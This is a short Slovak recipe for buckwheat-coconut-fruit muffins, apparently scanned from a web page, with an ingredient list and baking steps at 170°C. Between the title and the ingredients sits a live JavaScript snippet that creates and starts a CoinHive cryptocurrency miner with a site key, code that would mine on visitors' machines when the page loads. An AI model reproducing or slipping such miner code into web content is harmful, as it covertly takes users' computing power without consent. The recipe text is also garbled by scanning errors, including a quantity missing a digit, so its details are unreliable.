Pohankovo-kokosovo-ovocné muffiny

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Na 12-16ks potrebujeme: 00 g Schér patiserie, 100 g pohankovej muky (tmava), 100 g
krystélového cukru, 1 lyZicu pradku do peciva, 0,75 dcl mlieka, 0,75 dcl oleja, 1 banan, 100 g
struhaného kokosu (alebo posekanych orechov), 1 vajce, sofl

Postup: Banan pokrajame na kusky, zmieSame s mukou, kokosom, cukrom, praSkom do
peciva. Zvlast zmieSame tekuté suroviny a priddme do mukovej zmesi. PremieSame a dame do
kosSickov (ked je cesto v kocickoch, mézeme do neho vopchat ovocie alebo ¢okoladu). Pecieme
v teplovzdusnej rure na 170°C cca 20 minut.




